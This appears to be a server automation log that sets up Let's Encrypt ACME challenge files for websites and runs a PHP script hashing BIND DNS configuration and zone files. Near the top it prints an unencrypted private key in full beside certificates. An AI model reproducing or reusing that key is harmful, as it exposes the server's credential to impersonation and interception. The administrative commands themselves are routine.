suOjfDAJ0AIgPayJkOAsxrj2qyXD1+A/nsvtLeUIfk+phFkuURsWCvAAdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZuTV1k+AAAEAwBHMEUCIFT8
3oKcxq7yyXCCGXw7ieaQD+Cqrd6sOybu858/FVd6AiEAlU0nbOSOmzr6LjQhcd0U
3tk3qdxFQTVYLr9oxftWFAkwDQYJKoZIhvcNAQELBQADggEBABawLeAX4Uc4hnq5
qYr38OiSps+ne2a8hqJyR+fSYJ9g7az8omx1Y+LxGRDXam3k2fY7YqDYl+EXi0TJ
4AZCYrs0ULzy5HGIqwlPnS37pSNGL/vJVB+/HdRscBuEWZUmK7X23Ss8XhKUXODE
p4uOd2V/hGWTXDy7kwt+Q3Swqr7eks/uQKN3QBeFSwKJrhrOiEubztCAMGw1vkMJ
zqc0OrYZx0iyB4+vWuD97r84cflxLT94mdNcFeyUdr2NAwJ/yg8ST5ljWzGE91Wn
lGY1r5sHATqzfiKzS1Smta1ZC5Ijyf5J+BsVKiQYDNxGNrNpzB713caRkfRNDwVu
gotpn+0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDVhWSmDqcldJjf
VLG8VaQJ58m9vPinYLjoaCYo9UM4OD6Rj42w3me4xcSgt/jqTpX4I6NGnB+8sk0/
cBmj7uXA0AKwyv8ZZLzBNuGhH0QAiAyu76zIjKFHQ2g33izRkVFfCkbBq7ZXqBoH
joZcS+SSJm814ea+pFP4ajkzB5OBOgiWCTygiYSMG8Sf/u7v0W+QIBot0hKMlwop
FqadG/C55s+H8UW45LEpp4VISfx7WHd9vUfHEKJfE58FEsHzXGd98nbj45GF3G3z
hhYFTdnNgkqXTB5WuAbmmZoQiMHyU6ahsR0K06hk6lfGp8V/EXvWskG46aXUy9zw
A0sc4LgNAgMBAAECggEAKyGfg7XJCNVlPhPXNWKdWMzkITpHhlQQ9g13y+VDV1tx
NCkp55T9ocL9ZbPUCcynGbFlPZGzDYR8+zgTTdynt4utR3YyEriZMnR6Hnh43Zyd
50aOAhL6TzFsH4D3T7wJkme6hEvB8TIJVAZz2LgR633tEBbabB84wSD//fFlWAB5
Cab7BoGYJbx/mps7bF1/ZIBf8WRuDxi4ZtzuPccTW5aXTbExizIkd00+P0hKWuq7
3UoG2uhBx2EHilkyUs2xvC5ihG5PyRv9UU12w6R1HPl/oQVz6u7/+UHWb6xL3eXg
LndR9X1JFNKO4MFzRiBD6YI/cbBYQ60hlmNvMmPn1wKBgQD0BqUhVvo/yAGSARI4
RbzO/0JSjmCG0pRJoVseNyhJoCqiqNtV4UfV+cG1oQIrSDw221ec7Pb1cB2N2gAo
PsIPWOSXrGP7pRLG0mSKkK0dwmNxFOCrM4pDLSCfwrY5sJqjI+ouF9Wjme2Vn7lQ
7/FSVtgG/4HV1lVp1L3mzh52zwKBgQDf/47ePS5p4Mbu8nJYUwZGFedGjJx54KbD
cFtRHiyjSbFx7hKE7Vgx9KmrowQQwhSqrlSb4FWgwgFQOvap/Nj8zmj3nVo9kKhE
m9KAUyQAoo9uSEyWldeglU4rnVCD+rhiNarY2Z3fAVolKfORy8Rz/fMPSJ+XrsPa
So+CzmxaYwKBgCCsbxnKspEtr4AkIpNkSwaQSQoSxDvpIC/HqhKeogdRqcPDxjJ2
io7M9THjkA3Jiz5xGgcJ93sfeuWOZez9kjBJ37mrPGvqS1xRuWKQQo20hGoUuIxT
x1R9S1v4zztkOSBU47suN83DA3vAOijrJ621sREmzvSZ0S/ta0vnF08jAoGBALWA
7tNF4AYLDScxbVYEcGD5/p078s8PKhHTSStBuAnX/ODEeF0dtQlFpvZc8T5jBTwI
Zqan8LqCeW35WUYEjA7NcmCyMB0SykZNvRQeSl35Wx+Rlf2vDTohwWW14zgOQLnT
osx0CWhaQCE9DRBmfJlAfWM1BZxzEGAhaogjm8jhAoGAXlC1fIZcGHFxUn75Za3P
6TciJwVq1viyiQFh0C9Nd4GNfCkh9RxR2ZWlG8fZcdY1KTAH/2gmeJ31o+Dcu1RV
KdkDvuUmr9nVLEUQTP4NE5WjG9WupGpzXyHMfyFRo9RXLBsFAUbOPJQEP+otSeys
5oFovD5Q7OaRK9U8lrjefNE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-07 06:00:02: Establishing a connection
2026-01-07 06:00:03: Establishing a connection
2026-01-07 06:00:03: 

PUT: /tmp/pkp440814

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-07 06:00:04: 

chmod 755 /tmp/pkp440814; /tmp/pkp440814; rm /tmp/pkp440814

2026-01-07 06:00:04: 


1


2026-01-07 06:00:05: Establishing a connection
2026-01-07 06:00:05: 

PUT: /tmp/pkp663722

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xNurcxxFLRmP5oJ9MNwxNZIJlRTuvsnNMxhmE52uVAA


2026-01-07 06:00:06: 

chmod 755 /tmp/pkp663722; /tmp/pkp663722; rm /tmp/pkp663722

2026-01-07 06:00:06: 




2026-01-07 13:52:09: Establishing a connection
2026-01-07 13:52:27: Establishing a connection
2026-01-07 13:52:41: Establishing a connection
2026-01-07 13:52:41: 

PUT: /tmp/pkp286170

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-07 13:52:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp286170; rm /tmp/pkp286170'

2026-01-07 13:52:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-07 13:53:16: Establishing a connection
2026-01-07 13:53:17: Establishing a connection
2026-01-07 13:53:19: 

PUT: /tmp/pkp502175

#!/bin/bash
if [ -d "/var/www/n-e-v_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-07 13:53:20: 

chmod 755 /tmp/pkp502175; /tmp/pkp502175; rm /tmp/pkp502175

2026-01-07 13:53:20: 


1


2026-01-07 13:53:21: Establishing a connection
2026-01-07 13:53:23: 

PUT: /tmp/pkp434912

#!/bin/bash
mkdir -p "/var/www/n-e-v_www/.well-known/acme-challenge/"
